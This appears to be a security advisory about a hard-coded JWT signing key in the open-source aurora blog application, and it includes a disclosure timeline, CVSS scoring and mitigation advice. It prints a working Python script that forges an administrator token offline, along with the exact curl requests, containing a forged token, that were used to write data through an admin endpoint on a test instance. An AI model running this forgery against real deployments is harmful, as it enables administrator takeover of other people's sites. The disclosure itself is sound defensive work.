| الوصف | 1. Hard-coded signing key.
aurora (GitHub project linhaojun857/aurora) ships a hard-coded JWT signing key: aurora-springboot/src/main/resources/application-prod.yml line 81 sets jwt.secret to the plain string aurora (https://github.com/linhaojun857/aurora/blob/07e9524caacf6ceb021f3408e73f900f230d05f2/aurora-springboot/src/main/resources/application-prod.yml#L81). The constant is the effective signing key whenever the application runs with this file: @Value binds a plain ${jwt.secret} (TokenServiceImpl.java:30), the YAML value is a bare literal with no environment-variable placeholder, generalKey() only Base64-decodes it (TokenServiceImpl.java:95-97), and no code warns about the default (the module's only log.warn calls concern rate limiting and redis errors, AccessLimitInterceptor.java:44,49). While every other credential in the file ships as a placeholder, jwt.secret alone is pre-filled with a working value. application-prod.yml is the only packaged source of jwt.secret (no application-dev.yml exists; application.yml activates the dev profile), and the repository's own aurora-springboot/Dockerfile launches the jar with --spring.config.location=/config/application-prod.yml, so the official image runs on exactly this file. Commit 07e9524 was still the master tip when I checked on 2026-11-02 (no commit since 2025-06-10), so any build of the current tip ships the constant; I did not trace the introducing commit and claim nothing about older history.
2. My report and the vendor's response.
I reported this in https://github.com/linhaojun857/aurora/issues/185 on 2026-07-20 (state: open; no maintainer reply and no fix as of 2026-11-02). In this entry I document the key derivation, the token structure, and a fully offline forgery that writes persistent data through an admin-only endpoint.
3. Token construction.
generalKey() (TokenServiceImpl.java:95-97) passes the injected string through java.util.Base64.getDecoder().decode(), so the actual HS256 key is not the string aurora but its four decoded bytes 6a ea e8 ad; jjwt 0.9.0 (pom.xml:111-112) emits a bare {"alg":"HS256"} header with no typ. I confirmed this by running the same decode inside the deployed container (4 bytes, hex 6aeae8ad) and by recomputing a forged token's signature with openssl HMAC-SHA256, which matched. createToken (TokenServiceImpl.java:44-50) writes exactly three claims: jti (random 32-hex UUID), sub (numeric user id) and iss (fixed string huaweimian); no expiration and no audience are set, and parseToken (TokenServiceImpl.java:70-73) only sets the signing key and parses, so the signature is the whole check. getUserDetailDTO (TokenServiceImpl.java:76-84) then loads the Redis login_user hash (RedisConstant.java:23) keyed by the attacker-controlled sub, called from JwtAuthenticationTokenFilter.java:32-39; a non-null entry authenticates the forged identity with that user's roles (dynamic mapping: WebSecurityConfig.java:66-77, FilterInvocationSecurityMetadataSourceImpl). A session persists for seven days after each login (EXPIRE_TIME = 7*24*60*60, AuthConstant.java:7, applied at TokenServiceImpl.java:57), so a forged sub matching any live session, including the administrator (user id 1, [email protected]), inherits that user's full authority.
4. Attack process, fully offline with no login call.
I ran the full stack in Docker (app, MySQL, Redis, RabbitMQ) and started the jar exactly as the repository's Dockerfile does, with --spring.config.location=/config/application-prod.yml, published on host port 20037 (container 8080). My mounted copy of that file only fills the placeholder connections, switches search.mode from elasticsearch to mysql, uses the RabbitMQ user aurora instead of guest, and pairs with MySQL 8.0.46 instead of the install script's 8.0.39; jwt.secret is untouched and nothing in the security chain changed. One prerequisite must be precise: during deployment validation I performed one login myself (POST /users/login as user id 1, [email protected]), which created the Redis login_user entry the forged token relies on - the normal state of any deployment whose administrator has signed in. The forgery is offline computation and the attack sends no request to any login endpoint. I forged the token with this pure-standard-library script, which mirrors TokenServiceImpl:
#!/usr/bin/env python3
import hmac, hashlib, base64, json, uuid
SECRET = "aurora" # application-prod.yml:81
USER_ID = "1" # admin user id 1
def b64u(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
key_bytes = base64.b64decode(SECRET + "==") # Java Base64 decode("aurora") -> 6aeae8ad
assert key_bytes == bytes.fromhex("6aeae8ad")
header = b64u(json.dumps({"alg": "HS256"}, separators=(",", ":")).encode())
claims = {"jti": uuid.uuid4().hex, "sub": USER_ID, "iss": "huaweimian"}
payload = b64u(json.dumps(claims, separators=(",", ":")).encode())
signing_input = (header + "." + payload).encode()
sig = b64u(hmac.new(key_bytes, signing_input, hashlib.sha256).digest())
token = header + "." + payload + "." + sig
assert sig == b64u(hmac.new(bytes.fromhex("6aeae8ad"), signing_input, hashlib.sha256).digest())
print(token)
Write side, exactly as executed:
curl -sS -i -X POST http://127.0.0.1:20037/admin/tags -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI4ZTdjZTAxMjkxNjU0YmM2YWI0NWQxMDE4MGZlM2Q5YSIsInN1YiI6IjEiLCJpc3MiOiJodWF3ZWltaWFuIn0.rd-rL6kwP30aV1W-B5I1ni_RJnVe1KIDaWO7iOqip4I' -H 'Content-Type: application/json' --data '{"tagName":"poc-jwt-2611"}'
Read side, exactly as executed (public endpoint, no token):
curl -sS http://127.0.0.1:20037/tags/all
I first sent the write request with a 28-character tag name and got HTTP 200 with {"flag":false,"code":50000,"message":"系统异常"}; the application log showed it had passed authentication and authorization and failed only at the INSERT with MysqlDataTruncation (t_tag.tag_name is varchar(20)). I replayed with the 12-character name poc-jwt-2611 and got HTTP 200 with {"flag":true,"code":20000,"message":"操作成功","data":null}. Persistence is confirmed three ways: SELECT on aurora.t_tag returns the new row id 41, tag_name poc-jwt-2611, create_time 2026-11-02 13:30:14, with no rows before my insert (the id matches the shipped aurora.sql, which creates t_tag with AUTO_INCREMENT=41 and inserts no tags); the read-side call returns {"flag":true,"code":20000,"data":[{"id":41,"tagName":"poc-jwt-2611","count":0}]}; and GET /admin/tags/search with the same token also returns 200. The contrast between the two write rounds, a truncation error versus success with a shorter name, shows the boundary crossed was column width, not access control.
5. Impact.
Anyone who can read the repository can forge the token of any user of a default-key deployment who has a live Redis session - for example an administrator who signed in within the last seven days - and act with that user's full authority; the only precondition, an active session of the target user, is the ordinary state of a running instance. My test demonstrated administrator write access to tags and read access to admin and public endpoints; the remaining admin surface (articles, categories, the user list) follows from the same role mapping and is inferred, not individually tested. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, score 9.1 (Critical), CWE-321 Use of Hard-coded Cryptographic Key.
6. Mitigation.
Remove the secret from version control: load jwt.secret from an environment variable or a secret manager, generate a per-instance random value of at least 256 bits, and refuse to start or fail loudly whenever the default aurora value is detected; rotating the value also invalidates all outstanding tokens. Product homepage: https://github.com/linhaojun857/aurora
---------- End ---------- |
|---|